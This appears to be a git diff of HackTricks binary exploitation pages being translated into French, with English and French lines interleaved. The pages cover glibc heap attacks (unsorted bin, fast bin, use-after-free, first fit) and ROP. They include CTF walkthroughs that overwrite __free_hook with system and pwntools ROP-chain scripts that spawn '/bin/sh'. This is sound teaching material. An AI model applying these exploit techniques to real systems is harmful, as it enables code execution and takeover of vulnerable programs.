Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked.
Une [**attaque similaire utilisée dans ce rapport**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) a été d'abuser d'une structure de 4 chunks (A, B, C et D - D est seulement pour empêcher la consolidation avec le chunk supérieur) donc un débordement de byte nul dans B a été utilisé pour faire indiquer à C que B était inutilisé. De plus, dans B, les données `prev_size` ont été modifiées pour que la taille au lieu d'être la taille de B soit A+B.\
Ensuite, C a été désalloué et consolidé avec A+B (mais B était toujours utilisé). Un nouveau chunk de taille A a été alloué et ensuite les adresses de libc divulguées ont été écrites dans B d'où elles ont été divulguées.
## References & Other examples
## Références & Autres exemples
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
- The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and PIE is not enabled.
- It's possible to generate chunks of arbitrary sizes and there is a heap overflow with the desired size.
- The attack starts creating 3 chunks: chunk0 to abuse the overflow, chunk1 to be overflowed and chunk2 so top chunk doesn't consolidate the previous ones.
- Then, chunk1 is freed and chunk0 is overflowed to the `bk` pointer of chunk1 points to: `bk = magic - 0x10`
- Then, chunk3 is allocated with the same size as chunk1, which will trigger the unsorted bin attack and will modify the value of the global variable, making possible to get the flag.
- L'objectif est de réécrire une variable globale avec une valeur supérieure à 4869 afin qu'il soit possible d'obtenir le drapeau et que PIE ne soit pas activé.
- Il est possible de générer des chunks de tailles arbitraires et il y a un débordement de tas avec la taille désirée.
- L'attaque commence par créer 3 chunks : chunk0 pour abuser du débordement, chunk1 pour être débordé et chunk2 pour que le chunk supérieur ne consolide pas les précédents.
- Ensuite, chunk1 est libéré et chunk0 est débordé pour que le pointeur `bk` de chunk1 pointe vers : `bk = magic - 0x10`
- Ensuite, chunk3 est alloué avec la même taille que chunk1, ce qui déclenchera l'attaque de bin non triée et modifiera la valeur de la variable globale, rendant possible d'obtenir le drapeau.
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
- The merge function is vulnerable because if both indexes passed are the same one it'll realloc on it and then free it but returning a pointer to that freed region that can be used.
- Therefore, **2 chunks are created**: **chunk0** which will be merged with itself and chunk1 to prevent consolidating with the top chunk. Then, the **merge function is called with chunk0** twice which will cause a use after free.
- Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**.
- As the binary has protections to only malloc sizes bigger than **`global_max_fast`** so no fastbin is used, an unsorted bin attack is going to be used to overwrite the global variable `global_max_fast`.
- Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins.
- Now a **fast bin attack** is performed:
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
- <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
- La fonction de fusion est vulnérable car si les deux index passés sont le même, elle le réallouera et ensuite le libérera mais renverra un pointeur vers cette région libérée qui peut être utilisée.
- Par conséquent, **2 chunks sont créés** : **chunk0** qui sera fusionné avec lui-même et chunk1 pour empêcher la consolidation avec le chunk supérieur. Ensuite, la **fonction de fusion est appelée avec chunk0** deux fois, ce qui provoquera une utilisation après libération.
- Ensuite, la **fonction `view`** est appelée avec l'index 2 (qui est l'index du chunk utilisé après libération), ce qui **divulguera une adresse libc**.
- Comme le binaire a des protections pour n'allouer que des tailles supérieures à **`global_max_fast`**, aucune fastbin n'est utilisée, une attaque de bin non triée sera utilisée pour réécrire la variable globale `global_max_fast`.
- Ensuite, il est possible d'appeler la fonction d'édition avec l'index 2 (le pointeur utilisé après libération) et de réécrire le pointeur `bk` pour pointer vers `p64(global_max_fast-0x10)`. Ensuite, la création d'un nouveau chunk utilisera l'adresse libre compromise précédemment (0x20) qui **déclenchera l'attaque de bin non triée** en réécrivant le `global_max_fast` avec une valeur très grande, permettant maintenant de créer des chunks dans les fast bins.
- Maintenant, une **attaque de fast bin** est effectuée :
- Tout d'abord, il est découvert qu'il est possible de travailler avec des fast **chunks de taille 200** dans l'emplacement **`__free_hook`** :
- <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- Si nous parvenons à obtenir un fast chunk de taille 0x200 à cet emplacement, il sera possible de réécrire un pointeur de fonction qui sera exécuté.
- Pour cela, un nouveau chunk de taille `0xfc` est créé et la fonction fusionnée est appelée avec ce pointeur deux fois, de cette façon nous obtenons un pointeur vers un chunk libéré de taille `0xfc*2 = 0x1f8` dans la fast bin.
- Ensuite, la fonction d'édition est appelée dans ce chunk pour modifier l'adresse **`fd`** de cette fast bin pour pointer vers la fonction **`__free_hook`** précédente.
- Ensuite, un chunk de taille `0x1f8` est créé pour récupérer de la fast bin le chunk inutile précédent afin qu'un autre chunk de taille `0x1f8` soit créé pour obtenir un chunk de fast bin dans le **`__free_hook`** qui est réécrit avec l'adresse de la fonction **`system`**.
- Et enfin, un chunk contenant la chaîne `/bin/sh\x00` est libéré en appelant la fonction de suppression, déclenchant la fonction **`__free_hook`** qui pointe vers system avec `/bin/sh\x00` comme paramètre.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Un autre exemple d'abus d'un débordement de 1B pour consolider des chunks dans la bin non triée et obtenir une divulgation d'informations libc, puis effectuer une attaque de fast bin pour réécrire le malloc hook avec une adresse de gadget.
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- We can only allocate chunks of size greater than `0x100`.
- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
- Nous ne pouvons allouer que des chunks de taille supérieure à `0x100`.
- Réécrire `global_max_fast` en utilisant une attaque de bin non triée (fonctionne 1/16 fois en raison de l'ASLR, car nous devons modifier 12 bits, mais nous devons modifier 16 bits).
- Attaque de fast bin pour modifier un tableau global de chunks. Cela donne une primitive de lecture/écriture arbitraire, ce qui permet de modifier le GOT et de faire pointer certaines fonctions vers `system`.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,17 +1,17 @@
# Use After Free
# Utilisation après libération
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
As the name implies, this vulnerability occurs when a program **stores some space** in the heap for an object, **writes** some info there, **frees** it apparently because it's not needed anymore and then **accesses it again**.
Comme son nom l'indique, cette vulnérabilité se produit lorsqu'un programme **réserve de l'espace** dans le tas pour un objet, **écrit** des informations là-dedans, **libère** apparemment cet espace parce qu'il n'est plus nécessaire et ensuite **y accède à nouveau**.
The problem here is that it's not ilegal (there **won't be errors**) when a **freed memory is accessed**. So, if the program (or the attacker) managed to **allocate the freed memory and store arbitrary data**, when the freed memory is accessed from the initial pointer that **data would be have been overwritten** causing a **vulnerability that will depends on the sensitivity of the data** that was stored original (if it was a pointer of a function that was going to be be called, an attacker could know control it).
Le problème ici est qu'il n'est pas illégal (il **n'y aura pas d'erreurs**) lorsqu'une **mémoire libérée est accédée**. Donc, si le programme (ou l'attaquant) parvient à **allouer la mémoire libérée et à stocker des données arbitraires**, lorsque la mémoire libérée est accédée à partir du pointeur initial, **ces données auraient été écrasées**, causant une **vulnérabilité qui dépendra de la sensibilité des données** qui étaient stockées à l'origine (s'il s'agissait d'un pointeur d'une fonction qui allait être appelée, un attaquant pourrait en prendre le contrôle).
### First Fit attack
### Attaque de premier ajustement
A first fit attack targets the way some memory allocators, like in glibc, manage freed memory. When you free a block of memory, it gets added to a list, and new memory requests pull from that list from the end. Attackers can use this behavior to manipulate **which memory blocks get reused, potentially gaining control over them**. This can lead to "use-after-free" issues, where an attacker could **change the contents of memory that gets reallocated**, creating a security risk.\
Check more info in:
Une attaque de premier ajustement cible la façon dont certains allocateurs de mémoire, comme dans glibc, gèrent la mémoire libérée. Lorsque vous libérez un bloc de mémoire, il est ajouté à une liste, et les nouvelles demandes de mémoire tirent de cette liste par la fin. Les attaquants peuvent utiliser ce comportement pour manipuler **quels blocs de mémoire sont réutilisés, potentiellement en prenant le contrôle de ceux-ci**. Cela peut conduire à des problèmes de "utilisation après libération", où un attaquant pourrait **modifier le contenu de la mémoire qui est réallouée**, créant un risque de sécurité.\
Consultez plus d'infos dans :
{{#ref}}
first-fit.md

View File

@ -4,36 +4,33 @@
## **First Fit**
When you free memory in a program using glibc, different "bins" are used to manage the memory chunks. Here's a simplified explanation of two common scenarios: unsorted bins and fastbins.
Lorsque vous libérez de la mémoire dans un programme utilisant glibc, différents "bins" sont utilisés pour gérer les morceaux de mémoire. Voici une explication simplifiée de deux scénarios courants : les bins non triés et les fastbins.
### Unsorted Bins
### Bins Non Triés
When you free a memory chunk that's not a fast chunk, it goes to the unsorted bin. This bin acts like a list where new freed chunks are added to the front (the "head"). When you request a new chunk of memory, the allocator looks at the unsorted bin from the back (the "tail") to find a chunk that's big enough. If a chunk from the unsorted bin is bigger than what you need, it gets split, with the front part being returned and the remaining part staying in the bin.
Lorsque vous libérez un morceau de mémoire qui n'est pas un morceau rapide, il va dans le bin non trié. Ce bin agit comme une liste où de nouveaux morceaux libérés sont ajoutés à l'avant (la "tête"). Lorsque vous demandez un nouveau morceau de mémoire, l'allocateur examine le bin non trié depuis l'arrière (la "queue") pour trouver un morceau suffisamment grand. Si un morceau du bin non trié est plus grand que ce dont vous avez besoin, il est divisé, la partie avant étant retournée et la partie restante restant dans le bin.
Example:
- You allocate 300 bytes (`a`), then 250 bytes (`b`), the free `a` and request again 250 bytes (`c`).
- When you free `a`, it goes to the unsorted bin.
- If you then request 250 bytes again, the allocator finds `a` at the tail and splits it, returning the part that fits your request and keeping the rest in the bin.
- `c` will be pointing to the previous `a` and filled with the `a's`.
Exemple :
- Vous allouez 300 octets (`a`), puis 250 octets (`b`), vous libérez `a` et demandez à nouveau 250 octets (`c`).
- Lorsque vous libérez `a`, il va dans le bin non trié.
- Si vous demandez à nouveau 250 octets, l'allocateur trouve `a` à la queue et le divise, retournant la partie qui correspond à votre demande et gardant le reste dans le bin.
- `c` pointera vers le précédent `a` et sera rempli avec les `a's`.
```c
char *a = malloc(300);
char *b = malloc(250);
free(a);
char *c = malloc(250);
```
### Fastbins
Fastbins are used for small memory chunks. Unlike unsorted bins, fastbins add new chunks to the head, creating a last-in-first-out (LIFO) behavior. If you request a small chunk of memory, the allocator will pull from the fastbin's head.
Les fastbins sont utilisés pour de petits morceaux de mémoire. Contrairement aux unsorted bins, les fastbins ajoutent de nouveaux morceaux à la tête, créant un comportement de dernier entré, premier sorti (LIFO). Si vous demandez un petit morceau de mémoire, l'allocateur prendra à partir de la tête du fastbin.
Example:
- You allocate four chunks of 20 bytes each (`a`, `b`, `c`, `d`).
- When you free them in any order, the freed chunks are added to the fastbin's head.
- If you then request a 20-byte chunk, the allocator will return the most recently freed chunk from the head of the fastbin.
Exemple :
- Vous allouez quatre morceaux de 20 octets chacun (`a`, `b`, `c`, `d`).
- Lorsque vous les libérez dans n'importe quel ordre, les morceaux libérés sont ajoutés à la tête du fastbin.
- Si vous demandez ensuite un morceau de 20 octets, l'allocateur renverra le morceau le plus récemment libéré de la tête du fastbin.
```c
char *a = malloc(20);
char *b = malloc(20);
@ -48,17 +45,16 @@ b = malloc(20); // c
c = malloc(20); // b
d = malloc(20); // a
```
## Other References & Examples
## Autres Références & Exemples
- [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit)
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
- ARM64. Use after free: Generate an user object, free it, generate an object that gets the freed chunk and allow to write to it, **overwriting the position of user->password** from the previous one. Reuse the user to **bypass the password check**
- ARM64. Utilisation après libération : Générer un objet utilisateur, le libérer, générer un objet qui obtient le morceau libéré et permettre d'écrire dessus, **écrasant la position de user->password** de l'ancien. Réutiliser l'utilisateur pour **contourner la vérification du mot de passe**
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
- The program allows to create notes. A note will have the note info in a malloc(8) (with a pointer to a function that could be called) and a pointer to another malloc(\<size>) with the contents of the note.
- The attack would be to create 2 notes (note0 and note1) with bigger malloc contents than the note info size and then free them so they get into the fast bin (or tcache).
- Then, create another note (note2) with content size 8. The content is going to be in note1 as the chunk is going to be reused, were we could modify the function pointer to point to the win function and then Use-After-Free the note1 to call the new function pointer.
- Le programme permet de créer des notes. Une note aura les informations de la note dans un malloc(8) (avec un pointeur vers une fonction qui pourrait être appelée) et un pointeur vers un autre malloc(\<size>) avec le contenu de la note.
- L'attaque consisterait à créer 2 notes (note0 et note1) avec des contenus malloc plus grands que la taille des informations de la note, puis à les libérer pour qu'elles entrent dans le fast bin (ou tcache).
- Ensuite, créer une autre note (note2) avec une taille de contenu de 8. Le contenu va se trouver dans note1 car le morceau va être réutilisé, où nous pourrions modifier le pointeur de fonction pour pointer vers la fonction win et ensuite utiliser après libération note1 pour appeler le nouveau pointeur de fonction.
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
- It's possible to alloc some memory, write the desired value, free it, realloc it and as the previous data is still there, it will treated according the new expected struct in the chunk making possible to set the value ot get the flag.
- Il est possible d'allouer de la mémoire, d'écrire la valeur désirée, de la libérer, de la réallouer et comme les données précédentes sont toujours là, elles seront traitées selon la nouvelle structure attendue dans le morceau, rendant possible de définir la valeur ou d'obtenir le drapeau.
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
- In this case it's needed to write 4 inside an specific chunk which is the first one being allocated (even after force freeing all of them). On each new allocated chunk it's number in the array index is stored. Then, allocate 4 chunks (+ the initialy allocated), the last one will have 4 inside of it, free them and force the reallocation of the first one, which will use the last chunk freed which is the one with 4 inside of it.
- Dans ce cas, il est nécessaire d'écrire 4 à l'intérieur d'un morceau spécifique qui est le premier alloué (même après avoir forcé la libération de tous). Pour chaque nouveau morceau alloué, son numéro dans l'index du tableau est stocké. Ensuite, allouer 4 morceaux (+ le morceau initialement alloué), le dernier contiendra 4 à l'intérieur, les libérer et forcer la réallocation du premier, qui utilisera le dernier morceau libéré, qui est celui avec 4 à l'intérieur.

View File

@ -1,46 +1,45 @@
# ROP - Return Oriented Programing
# ROP - Return Oriented Programming
{{#include ../../banners/hacktricks-training.md}}
## **Basic Information**
## **Informations de base**
**Return-Oriented Programming (ROP)** is an advanced exploitation technique used to circumvent security measures like **No-Execute (NX)** or **Data Execution Prevention (DEP)**. Instead of injecting and executing shellcode, an attacker leverages pieces of code already present in the binary or in loaded libraries, known as **"gadgets"**. Each gadget typically ends with a `ret` instruction and performs a small operation, such as moving data between registers or performing arithmetic operations. By chaining these gadgets together, an attacker can construct a payload to perform arbitrary operations, effectively bypassing NX/DEP protections.
**Return-Oriented Programming (ROP)** est une technique d'exploitation avancée utilisée pour contourner des mesures de sécurité telles que **No-Execute (NX)** ou **Data Execution Prevention (DEP)**. Au lieu d'injecter et d'exécuter du shellcode, un attaquant exploite des morceaux de code déjà présents dans le binaire ou dans les bibliothèques chargées, connus sous le nom de **"gadgets"**. Chaque gadget se termine généralement par une instruction `ret` et effectue une petite opération, comme déplacer des données entre des registres ou effectuer des opérations arithmétiques. En enchaînant ces gadgets, un attaquant peut construire un payload pour effectuer des opérations arbitraires, contournant ainsi efficacement les protections NX/DEP.
### How ROP Works
### Comment fonctionne ROP
1. **Control Flow Hijacking**: First, an attacker needs to hijack the control flow of a program, typically by exploiting a buffer overflow to overwrite a saved return address on the stack.
2. **Gadget Chaining**: The attacker then carefully selects and chains gadgets to perform the desired actions. This could involve setting up arguments for a function call, calling the function (e.g., `system("/bin/sh")`), and handling any necessary cleanup or additional operations.
3. **Payload Execution**: When the vulnerable function returns, instead of returning to a legitimate location, it starts executing the chain of gadgets.
1. **Détournement de flux de contrôle** : Tout d'abord, un attaquant doit détourner le flux de contrôle d'un programme, généralement en exploitant un débordement de tampon pour écraser une adresse de retour sauvegardée sur la pile.
2. **Chaînage de gadgets** : L'attaquant sélectionne ensuite soigneusement et enchaîne des gadgets pour effectuer les actions souhaitées. Cela peut impliquer la configuration des arguments pour un appel de fonction, l'appel de la fonction (par exemple, `system("/bin/sh")`), et la gestion de tout nettoyage ou opérations supplémentaires nécessaires.
3. **Exécution du payload** : Lorsque la fonction vulnérable retourne, au lieu de retourner à un emplacement légitime, elle commence à exécuter la chaîne de gadgets.
### Tools
### Outils
Typically, gadgets can be found using [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) or directly from **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
Typiquement, les gadgets peuvent être trouvés en utilisant [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) ou directement à partir de **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
## ROP Chain in x86 Example
## Exemple de chaîne ROP en x86
### **x86 (32-bit) Calling conventions**
### **x86 (32 bits) Conventions d'appel**
- **cdecl**: The caller cleans the stack. Function arguments are pushed onto the stack in reverse order (right-to-left). **Arguments are pushed onto the stack from right to left.**
- **stdcall**: Similar to cdecl, but the callee is responsible for cleaning the stack.
- **cdecl** : L'appelant nettoie la pile. Les arguments de fonction sont poussés sur la pile dans l'ordre inverse (de droite à gauche). **Les arguments sont poussés sur la pile de droite à gauche.**
- **stdcall** : Semblable à cdecl, mais le callee est responsable du nettoyage de la pile.
### **Finding Gadgets**
### **Recherche de gadgets**
First, let's assume we've identified the necessary gadgets within the binary or its loaded libraries. The gadgets we're interested in are:
Tout d'abord, supposons que nous avons identifié les gadgets nécessaires dans le binaire ou ses bibliothèques chargées. Les gadgets qui nous intéressent sont :
- `pop eax; ret`: This gadget pops the top value of the stack into the `EAX` register and then returns, allowing us to control `EAX`.
- `pop ebx; ret`: Similar to the above, but for the `EBX` register, enabling control over `EBX`.
- `mov [ebx], eax; ret`: Moves the value in `EAX` to the memory location pointed to by `EBX` and then returns. This is often called a **write-what-where gadget**.
- Additionally, we have the address of the `system()` function available.
- `pop eax; ret` : Ce gadget extrait la valeur du haut de la pile dans le registre `EAX` et retourne ensuite, nous permettant de contrôler `EAX`.
- `pop ebx; ret` : Semblable à ce qui précède, mais pour le registre `EBX`, permettant de contrôler `EBX`.
- `mov [ebx], eax; ret` : Déplace la valeur dans `EAX` vers l'emplacement mémoire pointé par `EBX` et retourne ensuite. Cela est souvent appelé un **gadget write-what-where**.
- De plus, nous avons l'adresse de la fonction `system()` disponible.
### **ROP Chain**
### **Chaîne ROP**
Using **pwntools**, we prepare the stack for the ROP chain execution as follows aiming to execute `system('/bin/sh')`, note how the chain starts with:
1. A `ret` instruction for alignment purposes (optional)
2. Address of `system` function (supposing ASLR disabled and known libc, more info in [**Ret2lib**](ret2lib/))
3. Placeholder for the return address from `system()`
4. `"/bin/sh"` string address (parameter for system function)
En utilisant **pwntools**, nous préparons la pile pour l'exécution de la chaîne ROP comme suit, visant à exécuter `system('/bin/sh')`, notez comment la chaîne commence par :
1. Une instruction `ret` pour des raisons d'alignement (optionnel)
2. Adresse de la fonction `system` (supposant ASLR désactivé et libc connue, plus d'infos dans [**Ret2lib**](ret2lib/))
3. Espace réservé pour l'adresse de retour de `system()`
4. Adresse de la chaîne `"/bin/sh"` (paramètre pour la fonction system)
```python
from pwn import *
@ -59,10 +58,10 @@ ret_gadget = 0xcafebabe # This could be any gadget that allows us to control th
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
@ -74,28 +73,26 @@ payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```
## Chaîne ROP dans l'exemple x64
## ROP Chain in x64 Example
### **Conventions d'appel x64 (64 bits)**
### **x64 (64-bit) Calling conventions**
- Utilise la convention d'appel **System V AMD64 ABI** sur les systèmes de type Unix, où les **six premiers arguments entiers ou pointeurs sont passés dans les registres `RDI`, `RSI`, `RDX`, `RCX`, `R8` et `R9`**. Les arguments supplémentaires sont passés sur la pile. La valeur de retour est placée dans `RAX`.
- La convention d'appel **Windows x64** utilise `RCX`, `RDX`, `R8` et `R9` pour les quatre premiers arguments entiers ou pointeurs, avec des arguments supplémentaires passés sur la pile. La valeur de retour est placée dans `RAX`.
- **Registres** : Les registres 64 bits incluent `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, et `R8` à `R15`.
- Uses the **System V AMD64 ABI** calling convention on Unix-like systems, where the **first six integer or pointer arguments are passed in the registers `RDI`, `RSI`, `RDX`, `RCX`, `R8`, and `R9`**. Additional arguments are passed on the stack. The return value is placed in `RAX`.
- **Windows x64** calling convention uses `RCX`, `RDX`, `R8`, and `R9` for the first four integer or pointer arguments, with additional arguments passed on the stack. The return value is placed in `RAX`.
- **Registers**: 64-bit registers include `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, and `R8` to `R15`.
#### **Trouver des gadgets**
#### **Finding Gadgets**
Pour notre objectif, concentrons-nous sur les gadgets qui nous permettront de définir le registre **RDI** (pour passer la chaîne **"/bin/sh"** comme argument à **system()**) et ensuite d'appeler la fonction **system()**. Nous supposerons que nous avons identifié les gadgets suivants :
For our purpose, let's focus on gadgets that will allow us to set the **RDI** register (to pass the **"/bin/sh"** string as an argument to **system()**) and then call the **system()** function. We'll assume we've identified the following gadgets:
- **pop rdi; ret** : Déplace la valeur du haut de la pile dans **RDI** et retourne ensuite. Essentiel pour définir notre argument pour **system()**.
- **ret** : Un simple retour, utile pour l'alignement de la pile dans certains scénarios.
- **pop rdi; ret**: Pops the top value of the stack into **RDI** and then returns. Essential for setting our argument for **system()**.
- **ret**: A simple return, useful for stack alignment in some scenarios.
Et nous connaissons l'adresse de la fonction **system()**.
And we know the address of the **system()** function.
### **ROP Chain**
Below is an example using **pwntools** to set up and execute a ROP chain aiming to execute **system('/bin/sh')** on **x64**:
### **Chaîne ROP**
Ci-dessous un exemple utilisant **pwntools** pour configurer et exécuter une chaîne ROP visant à exécuter **system('/bin/sh')** sur **x64** :
```python
from pwn import *
@ -115,10 +112,10 @@ ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
@ -130,66 +127,65 @@ payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```
Dans cet exemple :
In this example:
- Nous utilisons le gadget **`pop rdi; ret`** pour définir **`RDI`** à l'adresse de **`"/bin/sh"`**.
- Nous sautons directement à **`system()`** après avoir défini **`RDI`**, avec l'adresse de **system()** dans la chaîne.
- **`ret_gadget`** est utilisé pour l'alignement si l'environnement cible l'exige, ce qui est plus courant dans **x64** pour garantir un alignement correct de la pile avant d'appeler des fonctions.
- We utilize the **`pop rdi; ret`** gadget to set **`RDI`** to the address of **`"/bin/sh"`**.
- We directly jump to **`system()`** after setting **`RDI`**, with **system()**'s address in the chain.
- **`ret_gadget`** is used for alignment if the target environment requires it, which is more common in **x64** to ensure proper stack alignment before calling functions.
### Alignement de la pile
### Stack Alignment
**L'ABI x86-64** garantit que la **pile est alignée sur 16 octets** lorsqu'une **instruction d'appel** est exécutée. **LIBC**, pour optimiser les performances, **utilise des instructions SSE** (comme **movaps**) qui nécessitent cet alignement. Si la pile n'est pas correctement alignée (c'est-à-dire que **RSP** n'est pas un multiple de 16), les appels à des fonctions comme **system** échoueront dans une **chaîne ROP**. Pour corriger cela, il suffit d'ajouter un **gadget ret** avant d'appeler **system** dans votre chaîne ROP.
**The x86-64 ABI** ensures that the **stack is 16-byte aligned** when a **call instruction** is executed. **LIBC**, to optimize performance, **uses SSE instructions** (like **movaps**) which require this alignment. If the stack isn't aligned properly (meaning **RSP** isn't a multiple of 16), calls to functions like **system** will fail in a **ROP chain**. To fix this, simply add a **ret gadget** before calling **system** in your ROP chain.
## x86 vs x64 main difference
## Différence principale entre x86 et x64
> [!TIP]
> Since **x64 uses registers for the first few arguments,** it often requires fewer gadgets than x86 for simple function calls, but finding and chaining the right gadgets can be more complex due to the increased number of registers and the larger address space. The increased number of registers and the larger address space in **x64** architecture provide both opportunities and challenges for exploit development, especially in the context of Return-Oriented Programming (ROP).
> Étant donné que **x64 utilise des registres pour les premiers arguments,** il nécessite souvent moins de gadgets que x86 pour des appels de fonction simples, mais trouver et enchaîner les bons gadgets peut être plus complexe en raison du nombre accru de registres et de l'espace d'adressage plus large. Le nombre accru de registres et l'espace d'adressage plus large dans l'architecture **x64** offrent à la fois des opportunités et des défis pour le développement d'exploits, en particulier dans le contexte de la programmation orientée retour (ROP).
## ROP chain in ARM64 Example
## Exemple de chaîne ROP en ARM64
### **ARM64 Basics & Calling conventions**
### **Bases ARM64 & conventions d'appel**
Check the following page for this information:
Consultez la page suivante pour ces informations :
{{#ref}}
../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Protections Against ROP
## Protections contre ROP
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): These protections makes harder the use of ROP as the addresses of the gadgets changes between execution.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In of a BOF, it's needed to bypass the stores stack canary to overwrite return pointers to abuse a ROP chain
- **Lack of Gadgets**: If there aren't enough gadgets it won't be possible to generate a ROP chain.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/) : Ces protections rendent l'utilisation de ROP plus difficile car les adresses des gadgets changent entre les exécutions.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) : En cas de BOF, il est nécessaire de contourner les protections de la pile pour écraser les pointeurs de retour afin d'abuser d'une chaîne ROP.
